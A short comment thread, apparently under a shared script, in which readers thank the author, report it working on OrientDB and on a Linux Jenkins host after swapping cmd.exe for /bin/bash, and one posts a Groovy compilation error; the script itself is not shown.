Nice one Chris.
Tested this on Orientdb-Linux and worked a treat.

Works well - Thanks :)

N111ce!

Very Nice!

I know I'm late on this, but some things are timeless. This just worked great for me. I simply needed to switch out cmd.exe with /bin/bash because Jenkins was running on a Linux box. Thanks for this!

Well done!

org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
